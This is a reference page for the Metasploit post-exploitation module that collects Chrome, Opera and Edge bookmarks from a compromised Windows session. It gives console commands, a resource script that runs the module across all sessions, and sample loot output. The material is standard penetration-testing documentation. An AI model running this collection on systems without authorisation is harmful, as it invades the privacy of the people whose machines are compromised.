Bookmarked Sites Retriever - Metasploit


This page contains detailed information about how to use the post/windows/gather/get_bookmarks metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Bookmarked Sites Retriever
Module: post/windows/gather/get_bookmarks
Source code: modules/post/windows/gather/get_bookmarks.rb
Disclosure date: -
Last modification time: 2022-05-11 14:29:36 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module discovers information about a target by retrieving their bookmarked websites on Google Chrome, Opera and Microsoft Edge.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/get_bookmarks

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/get_bookmarks
msf post(get_bookmarks) > show options
    ... show and set options ...
msf post(get_bookmarks) > set SESSION session-id
msf post(get_bookmarks) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/get_bookmarks")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on

Knowledge Base

Vulnerable Application

This modules retrieves stored bookmarks for Google Chrome, Microsoft Edge and Opera if the browsers exist on the target machine.

Verification Steps

  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/get_bookmarks
  4. Do: set SESSION <session id>
  5. Do: run

Options

SESSION

The session to run this module on.

Scenarios

Windows 11.

msf6 exploit(multi/handler) > use post/windows/gather/get_bookmarks
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

msf6 post(windows/gather/get_bookmarks) > set session 3
session => 3
msf6 post(windows/gather/get_bookmarks) > run


[-] Error loading USER S-1-5-21-1515542607-384395710-682424177-500: Profile doesn't exist or cannot be accessed
[*] BOOKMARKS FOR <user>
[*] Bookmarks stored: C:/metasploit/apps/pro/loot/20220405164635_default_GoogleChrome.boo_219405.txt
[-] Error loading USER S-1-5-21-1515542607-384395710-682424177-500: Profile doesn't exist or cannot be accessed
[*] BOOKMARKS FOR <user>
[*] Bookmarks stored: C:/metasploit/apps/pro/loot/20220405164637_default_Opera.bookmarks_833249.txt
[-] Error loading USER S-1-5-21-1515542607-384395710-682424177-500: Profile doesn't exist or cannot be accessed
[*] BOOKMARKS FOR <user>
[*] Bookmarks stored: C:/metasploit/apps/pro/loot/20220405164640_default_Edge.bookmarks_245676.txt
[*] Post module execution completed

msf6 post(windows/gather/get_bookmarks) > loot

Loot
====

host             service  type                    name                                                                                 content     info                        path
----             -------  ----                    ----                                                                                 -------     ----                        ----
<ip>                       Opera.bookmarks         #<Msf::Sessions::Meterpreter_x64_Win:0x000001dd509f2f48>_Opera_bookmarks.txt         text/plain  Bookmarks for Opera         C:/metasploit/apps/pro/loot/20220405164430_default_Opera.bookmarks_344376.txt
<ip>                       Edge.bookmarks          #<Msf::Sessions::Meterpreter_x64_Win:0x000001dd509f2f48>_Edge_bookmarks.txt          text/plain  Bookmarks for Edge          C:/metasploit/apps/pro/loot/20220405164432_default_Edge.bookmarks_798475.txt
<ip>                       GoogleChrome.bookmarks  #<Msf::Sessions::Meterpreter_x64_Win:0x000001dd509f2f48>_GoogleChrome_bookmarks.txt  text/plain  Bookmarks for GoogleChrome  C:/metasploit/apps/pro/loot/20220405164427_default_GoogleChrome.boo_256524.txt

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Msfconsole Usage

Here is how the windows/gather/get_bookmarks post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/get_bookmarks

msf6 post(windows/gather/get_bookmarks) > show info

       Name: Bookmarked Sites Retriever
     Module: post/windows/gather/get_bookmarks
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  jerrelgordon

Module stability:
 crash-safe

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Description:
  This module discovers information about a target by retrieving their 
  bookmarked websites on Google Chrome, Opera and Microsoft Edge.

Module Options

This is a complete list of options available in the windows/gather/get_bookmarks post exploitation module:

msf6 post(windows/gather/get_bookmarks) > show options

Module options (post/windows/gather/get_bookmarks):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/get_bookmarks post exploitation module:

msf6 post(windows/gather/get_bookmarks) > show advanced

Module advanced options (post/windows/gather/get_bookmarks):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/get_bookmarks module can do:

msf6 post(windows/gather/get_bookmarks) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/get_bookmarks post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/get_bookmarks) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Bookmarks found for <BROWSER>

Here is a relevant code snippet related to the "No Bookmarks found for <BROWSER>" error message:

82:	        file,
83:	        "#{session}_#{browser}_bookmarks.txt",
84:	        "Bookmarks for #{browser}"
85:	      )
86:	      print_status("Bookmarks stored: #{stored_bookmarks}")
87:	    end
88:	    if (file_exists == false) # if file was not found, prints no file found.
89:	      print_status("No Bookmarks found for #{browser}")
90:	    end
91:	  end
92:	end

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See Also

Check also the following modules related to this module:

Authors

  • jerrelgordon

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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